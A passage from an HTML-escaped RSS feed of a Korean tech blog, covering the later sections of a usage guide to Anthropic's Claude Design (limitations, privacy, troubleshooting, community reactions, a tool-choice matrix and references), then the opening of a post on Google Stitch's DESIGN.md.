&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 멀티플레이어 편집 없음 &amp;mdash; 상세와 권장 대안은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-11&quot;&gt;&amp;sect;11.3&lt;/a&gt; 참조.&lt;/li&gt;
&lt;li&gt;Public API 없음&lt;/li&gt;
&lt;li&gt;Figma 직접 import 없음&lt;/li&gt;
&lt;li&gt;Undo/Redo: 전통적 버전 히스토리 없음. 대신 Help Center는 &lt;i&gt;&quot;Save what we have and try a completely different approach&quot;&lt;/i&gt; (현재 상태를 저장하고 완전히 다른 방향을 시도해보자) 명령으로 현재 상태를 저장한 뒤 다른 방향을 실험하는 방식을 버전 관리 방법으로 안내한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;14.4. 데이터&amp;middot;프라이버시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Team/Enterprise 구독은 Anthropic Commercial Terms에 따라 기본적으로 모델 학습에 사용되지 않는다. Pro/Max 등 Consumer 플랜의 학습 사용 여부는 계정 데이터 프라이버시 설정에 따른다. 정확한 조건은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/privacy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic Privacy Center&lt;/a&gt;에서 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;14.5. 트러블슈팅 Q&amp;amp;A&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q1. claude.ai/design에 접속해도 빈 화면이거나 홈으로 리다이렉트된다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Pro/Max/Team/Enterprise 중 하나로 로그인됐는가. Free 계정은 접근 불가.&lt;/li&gt;
&lt;li&gt;Enterprise 플랜이라면 Organization settings에서 Claude Design을 활성화했는가 (기본값 off).&lt;/li&gt;
&lt;li&gt;출시 초기 rollout 중이라면 몇 시간 후 재시도한다.&lt;/li&gt;
&lt;li&gt;모바일 앱 지원 여부는 공식 문서에 명시되지 않아 확인 불가. 현재는 웹 브라우저를 기본으로 가정한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q2. 인라인 코멘트가 반영되지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-6&quot;&gt;&amp;sect;6.4&lt;/a&gt;의 공식 워크어라운드를 참조한다(코멘트 내용을 chat에 붙여넣기).&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q3. 주간 한도가 너무 빨리 소진된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;한도 소진이 걱정된다면: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-13&quot;&gt;&amp;sect;13.1&lt;/a&gt; 소진 사례 표와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-13&quot;&gt;&amp;sect;13.2&lt;/a&gt; 절약 전략 5가지를 먼저 확인한다. 정확한 주간 한도 수치는 공개되지 않아 본인 소비 패턴을 직접 측정해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q4. Claude Code 핸드오프 결과가 우리 팀 스타일과 다르다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Organization settings 디자인 시스템에 해당 코드 리포지토리가 Published 상태로 연결되어 있는지 확인한다. Remix 버튼으로 시스템을 보정 후 재생성한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q5. Chat upstream error가 발생한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 권장: 새 chat 탭을 열어 재시도한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 15 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-15&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;15. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;15.1. Hacker News: &quot;균질화&quot; 논쟁&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출시 당일 Hacker News 스레드(id=47806725)는 1,191 points, 740 comments를 기록했다. 핵심 논쟁은 디자인 &quot;균질화(homogenization)&quot;다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ljm (비판)&lt;/b&gt;: &lt;i&gt;&quot;something like this has only been possible to develop because of how homogenous the internet has become&quot;&lt;/i&gt; (이런 도구가 개발 가능했던 건 인터넷이 그만큼 균질해졌기 때문이다) &amp;mdash; AI 디자인 도구의 성능이 웹의 수렴을 전제로 한다는 지적.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;crazygringo (옹호)&lt;/b&gt;: &lt;i&gt;&quot;A competent UI with little effort is a godsend&quot;&lt;/i&gt; (수고 없이 쓸 만한 UI가 나온다는 건 정말 반갑다) &amp;mdash; 예측 가능하고 얌전한 UI의 실용적 가치 옹호.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;15.2. 디자이너 커뮤니티&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독립 디자이너 Sam Henri Gold는 Claude Design의 재료적 정직함에 호의적이었다. &lt;i&gt;&quot;Claude Design is honest about what it is: HTML and JS all the way down.&quot;&lt;/i&gt; (Claude Design은 자신이 뭔지 솔직하다. 처음부터 끝까지 HTML과 JS다.) Figma의 복잡한 변수 aliasing&amp;middot;중첩 컴포넌트와 대비되는 단순함을 긍정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면 Tommaso Nervegna는 유보적이다. &lt;i&gt;&quot;When you delegate design to an AI and accept the output without deep design thinking, you're importing a set of decisions you didn't consciously make.&quot;&lt;/i&gt; (AI에게 디자인을 맡기고 깊은 고민 없이 결과물을 받아들이면, 스스로 의식하지 못한 채 누군가의 결정을 그대로 들여오는 것이다.) 브랜드 컬러는 정확하지만 검정 텍스트를 어두운 배경 위에 올리는 등 구도적으로 나쁜 결정이 섞인다는 실무적 비판이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The Register는 베테랑 디자이너 Molly McCoy의 평가를 인용했다: AI 툴은 프리미엄 디자인 작업에 필요한 &quot;consultative depth&quot; (컨설팅 수준의 깊이와 맥락 이해)가 부족하며, 영향은 기업 디자인 영역에 집중될 것이라는 관점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 16 ===== --&gt;
&lt;h2 id=&quot;sec-16&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;16. 결정 매트릭스: 언제 Claude Design을 쓰고, 언제 쓰지 않는가&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;1순위 선택&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아이디어에서 첫 시안까지 1시간 내&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Design&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic이 지정한 핵심 사용 맥락&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사내 디자인 시스템을 적용한 랜딩/원페이저&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Design&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코드/디자인 파일 기반 자동 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 &amp;rarr; 실제 구현으로 바로 연결&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Design &amp;rarr; Claude Code 핸드오프&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 핸드오프 번들 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 2명 이상이 같은 캔버스 실시간 공동 편집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Figma&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Design 멀티플레이어 미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;소셜 카드&amp;middot;마케팅 템플릿 대량 제작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Canva (+ Send to Canva로 연결)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 Canva 연결 파이프라인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;배포까지 포함한 웹 앱 빠른 출시&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Lovable&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Lovable은 배포 단계 포함, Claude Design은 배포 전 단계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;React/Next.js 컴포넌트로 직접 뽑는 목업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;v0 또는 Claude Design &amp;rarr; Claude Code&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;v0는 React 스택 전용, Claude Design은 다양한 스택으로 핸드오프 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro 한도로 상시 업무 목업 생산&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 5x 이상으로 상향&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro는 &quot;Quick explorations&quot; 정의, Max 5x/20x 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- ===== SECTION 17 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-17&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;17. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design은 2026-04-19 시점 Anthropic Labs의 research preview다. 핵심 기능을 정리하면 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;디자인 시스템&lt;/b&gt;: GitHub 리포&amp;middot;브랜드 PDF 등에서 컬러&amp;middot;타이포그래피&amp;middot;컴포넌트를 자동 추출. 조직 전체 프로젝트에 Published 토글 한 번으로 자동 상속.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;3가지 인터랙션 모드&lt;/b&gt;: Edit(직접 클릭), Comment(선택+자연어), Draw(스케치 주석)로 캔버스와 상호작용.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Adjustment Knobs&lt;/b&gt;: Claude가 해당 디자인에 맞게 생성해주는 spacing/color/layout 실시간 조정 컨트롤.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;6가지 Export&lt;/b&gt;: .zip&amp;middot;PDF&amp;middot;PPTX&amp;middot;Canva&amp;middot;Standalone HTML&amp;middot;Claude Code 핸드오프.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Claude Code 핸드오프&lt;/b&gt;: export &amp;rarr; 커맨드 복사 &amp;rarr; Claude Code에 붙여넣기 &amp;rarr; API fetch 방식으로 구현 단계로 직접 연결.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용량&lt;/b&gt;: 채팅과 완전히 분리된 별도 주간 한도. Pro는 30분 내 소진 사례 다수.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도입 플레이북:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;오늘&lt;/b&gt;: Pro 계정으로 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude.ai/design&lt;/code&gt; 접속 &amp;rarr; &quot;랜딩 페이지 1섹션 + Standalone HTML export&quot; 15분 안에 1회 실행. 일회성 크레딧 범위 내 소비량 직접 측정.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이번 주&lt;/b&gt;: Organization settings에서 팀 디자인 시스템(레포 또는 브랜드 PDF) 등록 &amp;rarr; Published 토글 ON &amp;rarr; 새 프로젝트에서 자동 반영 여부 확인.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영 반영&lt;/b&gt;: Pro 소비 패턴을 확인한 후 Max 5x/20x 승격 여부 결정. Enterprise는 관리자 활성화 정책과 공유 권한 3단 설정을 먼저 문서화.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;도입 전 자기 검증 체크리스트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;팀에 실시간 공동 편집이 필수인가? 필수라면 Figma 병행 권장.&lt;/li&gt;
&lt;li&gt;Enterprise 관리자가 Organization settings에서 Claude Design을 활성화했는가?&lt;/li&gt;
&lt;li&gt;디자인 시스템을 업로드했는가? Published 토글이 켜져 있는가?&lt;/li&gt;
&lt;li&gt;Pro로 시작한다면 주간 소비 패턴을 먼저 측정했는가?&lt;/li&gt;
&lt;li&gt;초기 출력물의 가독성(색상 대비)을 사람이 직접 검수하는 프로세스가 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 종합하면: Claude Design은 Figma를 대체하지 않는다. 아이디어에서 구현 사이의 중간 단계를 짧게 줄이는 도구다. 커뮤니티 전반의 &quot;균질화&quot; 우려를 감안할 때, 도구 출력을 그대로 받지 않고 디자인 차별화는 사람이 붙이는 프로세스를 팀 내에 함께 두는 것이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;references&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서 (Level 1 &amp;mdash; 직접 확인)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/claude-design-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic - Introducing Claude Design by Anthropic Labs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14604416-get-started-with-claude-design&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic Help Center - Get started with Claude Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14604397-set-up-your-design-system-in-claude-design&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic Help Center - Set up your design system in Claude Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://support.claude.com/en/articles/14667344-claude-design-subscription-usage-and-pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic Help Center - Subscription, usage, and pricing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/introducing-anthropic-labs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic - Introducing Anthropic Labs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/claude-opus-4-7&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic - Claude Opus 4.7&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티&amp;middot;미디어 (Level 2-3 &amp;mdash; 직접 읽어 확인)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techcrunch.com/2026/04/17/anthropic-launches-claude-design-a-new-product-for-creating-quick-visuals/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;TechCrunch - Anthropic launches Claude Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.adweek.com/media/anthropic-debuts-claude-design-for-building-marketing-assets-decks-and-uis/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;AdWeek - Anthropic debuts Claude Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.theregister.com/2026/04/17/anthropic_debuts_claude_design/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;The Register - Anthropic debuts Claude Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.pcworld.com/article/3117811/i-tried-claude-design-for-half-an-hour-im-already-locked-out-for-a-week.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;PCWorld - I tried Claude Design for half an hour&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://vibecoding.app/blog/claude-design-review&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Vibecoding - Claude Design review&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://nervegna.substack.com/p/claude-design-just-dropped-heres&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Tommaso Nervegna - Claude Design just dropped&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://samhenri.gold/blog/20260418-claude-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Sam Henri Gold - Claude Design review&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.banani.co/blog/claude-design-review&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Banani - Claude Design review&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://officechai.com/ai/figmas-stock-falls-7-after-anthropic-introduces-claude-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OfficeChai - Figma stock falls 7%&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://news.ycombinator.com/item?id=47806725&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Hacker News - Claude Design thread&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://x.com/claudeai/status/2045156267690213649&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;@claudeai 공식 X 포스트&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 디자인 도구</category>
      <category>Anthropic Labs</category>
      <category>Claude Design</category>
      <category>claude.ai/design</category>
      <category>Figma 대체</category>
      <category>인터랙티브 프로토타입</category>
      <category>캔버스 인터페이스</category>
      <category>클로드 디자인</category>
      <category>클로드 디자인 사용방법</category>
      <category>텍스트to디자인</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/583</guid>
      <comments>https://goddaehee.tistory.com/583#entry583comment</comments>
      <pubDate>Thu, 23 Apr 2026 12:00:15 +0900</pubDate>
    </item>
    <item>
      <title>DESIGN.md : Google Stitch가 도입한 DESIGN.md - DESIGN.md 도입 배경부터 적용해보기(VoltAgent awesome-design-md 컬렉션 활용 가이드)</title>
      <link>https://goddaehee.tistory.com/582</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;1486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VNlql/dJMcaakJlj1/AogF5GP3Ab0BHw6Y9EGdsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VNlql/dJMcaakJlj1/AogF5GP3Ab0BHw6Y9EGdsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VNlql/dJMcaakJlj1/AogF5GP3Ab0BHw6Y9EGdsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVNlql%2FdJMcaakJlj1%2FAogF5GP3Ab0BHw6Y9EGdsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2650&quot; height=&quot;1486&quot; data-origin-width=&quot;2650&quot; data-origin-height=&quot;1486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 리드 문단 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트에게 &quot;Stripe 스타일로 만들어줘&quot;라고 지시해본 적이 있는데 매번 결과물이 들쭉날쭉하다면, 그 원인은 에이전트가 디자인 의도를 읽을 공통 언어가 없기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google Stitch는 이 문제를 해결하기 위해 DESIGN.md라는 개념을 도입했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마크다운 파일 한 장으로 컬러 팔레트부터 타이포그래피, 컴포넌트 스타일까지 명시해두면, AI 에이전트가 코드를 생성할 때마다 이 파일을 먼저 읽어 일관된 외관을 유지한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
